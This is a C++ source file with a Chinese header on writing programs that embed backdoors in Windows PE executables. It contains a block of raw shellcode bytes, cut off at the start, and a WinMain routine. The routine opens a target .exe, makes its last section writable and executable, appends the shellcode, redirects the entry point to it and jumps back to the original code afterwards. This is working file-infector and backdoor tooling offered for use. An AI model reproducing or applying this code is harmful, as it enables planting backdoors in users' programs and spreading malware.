insertcode.cpp

PE可执行文件的镶入式程序的编写方法及示例(镶入式后门程序&原程序) 由于Microsoft公司的Windows系统是当前大部分个人电脑所使用的操作系统 主要包括win95,98,me,nt4,200

"\x8B\x8D\x0C\xED\xFF\xFF\x83\xC1\x01\x89"
"\x8D\x0C\xED\xFF\xFF\x33\xD2\x85\xD2\x75"
"\xCF\x8D\x85\x24\xFE\xFF\xFF\x50\x6A\x00"
"\x6A\x00\x8D\x8D\x0C\xED\xFF\xFF\x51\x6A"
"\x00\xFF\x95\xC0\xBF\xFF\xFF\x89\x85\x10"
"\xEE\xFF\xFF\x83\xBD\x10\xEE\xFF\xFF\x00"
"\x0F\x84\xC8\x00\x00\x00\x83\xBD\x10\xEE"
"\xFF\xFF\xFF\x0F\x84\xBB\x00\x00\x00\x8D"
"\x95\x0C\xED\xFF\xFF\x52\x8B\x85\x08\xED"
"\xFF\xFF\x50\xFF\x95\xCC\xBF\xFF\xFF\x85"
"\xC0\x74\x21\x6A\x00\x68\x00\x10\x00\x00"
"\x8D\x8D\x18\xEE\xFF\xFF\x51\x8B\x95\x08"
"\xED\xFF\xFF\x52\xFF\x95\xBC\xBF\xFF\xFF"
"\x89\x85\x18\xFE\xFF\xFF\x83\xBD\x18\xFE"
"\xFF\xFF\x00\x77\x05\xE9\x56\x01\x00\x00"
"\x6A\x00\x8D\x85\x18\xFE\xFF\xFF\x50\x8B"
"\x8D\x18\xFE\xFF\xFF\x51\x8D\x95\x18\xEE"
"\xFF\xFF\x52\x8B\x85\x20\xFE\xFF\xFF\x50"
"\xFF\x95\xE4\xBF\xFF\xFF\x89\x85\x10\xEE"
"\xFF\xFF\x83\xBD\x10\xEE\xFF\xFF\x00\x75"
"\x05\xE9\x1C\x01\x00\x00\x83\xBD\x14\xEE"
"\xFF\xFF\x00\x75\x25\x6A\x00\x8D\x8D\x18"
"\xFE\xFF\xFF\x51\x6A\x01\x8D\x95\xC0\xEC"
"\xFF\xFF\x52\x8B\x85\x20\xFE\xFF\xFF\x50"
"\xFF\x95\xE4\xBF\xFF\xFF\x89\x85\x10\xEE"
"\xFF\xFF\x83\xBD\x10\xEE\xFF\xFF\x00\x75"
"\x05\xE9\xDE\x00\x00\x00\x68\x00\x10\x00"
"\x00\x6A\x00\x8D\x8D\x18\xEE\xFF\xFF\x51"
"\xFF\x95\x70\xBF\xFF\xFF\x83\xC4\x0C\x6A"
"\x00\x8D\x55\xFC\x52\x6A\x00\x6A\x00\x6A"
"\x00\x8B\x45\xC8\x50\xFF\x95\xE0\xBF\xFF"
"\xFF\x83\x7D\xFC\x00\x76\x5A\x6A\x00\x8D"
"\x8D\x18\xFE\xFF\xFF\x51\x8B\x55\xFC\x52"
"\x8D\x85\x18\xEE\xFF\xFF\x50\x8B\x4D\xC8"
"\x51\xFF\x95\xDC\xBF\xFF\xFF\x89\x85\x10"
"\xEE\xFF\xFF\x83\xBD\x10\xEE\xFF\xFF\x00"
"\x75\x02\xEB\x7A\x6A\x00\x8B\x55\xFC\x52"
"\x8D\x85\x18\xEE\xFF\xFF\x50\x8B\x8D\x08"
"\xED\xFF\xFF\x51\xFF\x95\xB8\xBF\xFF\xFF"
"\x89\x85\x10\xEE\xFF\xFF\x83\xBD\x10\xEE"
"\xFF\xFF\x00\x7F\x02\xEB\x4D\xE9\x1A\xFE"
"\xFF\xFF\x8B\x95\x20\xFE\xFF\xFF\x52\xFF"
"\x95\xF0\xBF\xFF\xFF\x8B\x45\xC8\x50\xFF"
"\x95\xF0\xBF\xFF\xFF\x8B\x4D\xD4\x51\xFF"
"\x95\xF0\xBF\xFF\xFF\x8B\x55\xCC\x52\xFF"
"\x95\xF0\xBF\xFF\xFF\x8B\x85\x08\xED\xFF"
"\xFF\x50\xFF\x95\xC4\xBF\xFF\xFF\x68\xE8"
"\x03\x00\x00\xFF\x95\xE8\xBF\xFF\xFF\xE9"
"\xDC\xFC\xFF\xFF\xEB\xB6\xEB\xB4\xEB\xB2"
"\xEB\xB0\xEB\xAE\x8B\xE5\x5D\xC3\x59\x51"
"\xC3\xE8\xF8\xFF\xFF\xFF\xC3\xB8";

char code1[]="\xFF\xE0\xFF\x25"; //jmp eax

int APIENTRY WinMain(HINSTANCE hInstance,

                     HINSTANCE hPrevInstance,

                     LPSTR     lpCmdLine,

                     int       nCmdShow)

{
	HANDLE h_file,f_Map;

	DWORD f_size,code_size,section_add,section_size,Secnumb,temp;

	jmpaddr *add_jmp;

	LPVOID f_Maddr,c_Maddr;

    char * FilterStrings="Executable Files\0*.exe\0";

    char of_Name[MAX_PATH],*pdest,*szBuffer;

	int result,cm=' ';

    OPENFILENAME ofn;

	LONG len;

	IMAGE_DOS_HEADER  *h_dos;

	IMAGE_NT_HEADERS  *h_nt;

	IMAGE_SECTION_HEADER *h_section;
//打开文件

	szBuffer=GetCommandLine();

	pdest = strchr( szBuffer, cm );

	result = pdest - szBuffer + 1;

	if( pdest != NULL )
	{
		strncpy( of_Name,szBuffer+result, strlen(szBuffer)-result);
		if(strlen(of_Name)>3)
			goto begin;

	}

    of_Name[0]=0;

    FillMemory(&ofn,sizeof(OPENFILENAME),0);

    ofn.lStructSize=sizeof(OPENFILENAME);

    ofn.lpstrFilter=FilterStrings;

    ofn.nFilterIndex=1;

    ofn.lpstrFile=of_Name;

    ofn.nMaxFile=MAX_PATH;

    ofn.lpstrTitle="选择一个要更改的PE格式的可执行文件";

    ofn.Flags=OFN_FILEMUSTEXIST;

    if(GetOpenFileName(&ofn))
	{
		if(SetFileAttributes(of_Name,FILE_ATTRIBUTE_NORMAL)==NULL)
			return 0;
	}
	else
		return 0;

begin:

//把文件影射到内存

	h_file=CreateFile(of_Name, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
		OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
		if(h_file==INVALID_HANDLE_VALUE)
				return 0;

	f_size=GetFileSize(h_file,NULL);

	if(f_size>500000)
		return 0;
	code_size=sizeof(code)-1;
															//要加入的代码长度	
	f_Map=CreateFileMapping(h_file, NULL,PAGE_READWRITE,0,f_size+code_size+30,0 );
		if(f_Map==NULL)
		{
			CloseHandle(h_file);
			return 0;
		}

	f_Maddr=MapViewOfFile(f_Map,FILE_MAP_WRITE,0,0,0 );
          	if(f_Maddr==NULL)

			{
				CloseHandle(f_Map);
				CloseHandle(h_file);
				return 0;
			}

//检测是否pe文件

	_asm
	{
		mov edx,f_Maddr
		mov h_dos,edx
	}

	if(h_dos->e_magic==IMAGE_DOS_SIGNATURE )
	{
		len=h_dos->e_lfanew;
		if(len>(long)f_size)
			goto endop;
	

		_asm
		{
			mov edx,h_dos
			add edx,len
			mov h_nt,edx
		}

		if( h_nt->Signature!=IMAGE_NT_SIGNATURE )
			goto endop;
	

	}

	else
		goto endop;



//找到最后一节
	Secnumb=h_nt->FileHeader.NumberOfSections;

	_asm
	{
		mov edx,h_nt
		mov h_section,edx
	}

	len=sizeof(IMAGE_NT_HEADERS);

	for(temp=0;temp<Secnumb;temp++)
	{
		_asm
		{
			mov edx,h_section
			add edx,len
			mov h_section,edx
		}
//更改最后节的特性为0xc2000040
		if(temp==Secnumb-1)
		h_section->Characteristics=0xc2000040;

		len=sizeof(IMAGE_SECTION_HEADER);
	}

//检查文件大小和最后节的内存地址
	_asm

	{
		mov edx,f_Maddr
		add edx,f_size
		mov c_Maddr,edx
	}

	section_add=h_section->PointerToRawData;
		_asm
		{
			mov edx,c_Maddr
			sub edx,f_Maddr
			sub edx,section_add
			mov section_add,edx
		}

	section_size=section_add-h_section->SizeOfRawData;
	
	if(section_size>1000)
		goto endop;


//加入代码在文件的结尾

	memcpy((char*)c_Maddr,code,code_size);

//写入返回地址
	_asm

	{
		mov edx,c_Maddr
		add edx,code_size
		mov add_jmp,edx
	}

	add_jmp->jmp=h_nt->OptionalHeader.AddressOfEntryPoint+h_nt->OptionalHeader.ImageBase;

	memcpy((char*)c_Maddr+code_size+4,code1,4);

//计算代码的地址

	h_nt->OptionalHeader.AddressOfEntryPoint=h_section->VirtualAddress+section_add;	

//更改节尺寸

	h_section->Misc.VirtualSize=h_section->SizeOfRawData+section_size+code_size;
	h_section->SizeOfRawData=h_section->SizeOfRawData+section_size+code_size+30;

//节尺寸+代码长度如果超过内存影象还要计算OptionalHeader.SizeOfImage的大小

	if(h_section->SizeOfRawData>h_section->Misc.VirtualSize)
	if(h_section->SizeOfRawData>0x1000)
		while(h_section->VirtualAddress+h_section->Misc.VirtualSize>h_nt->OptionalHeader.SizeOfImage)
			h_nt->OptionalHeader.SizeOfImage=h_nt->OptionalHeader.SizeOfImage+0x1000;
	
endop:
	UnmapViewOfFile( f_Maddr);
	CloseHandle(f_Map);
	CloseHandle(h_file);
	return 0;

}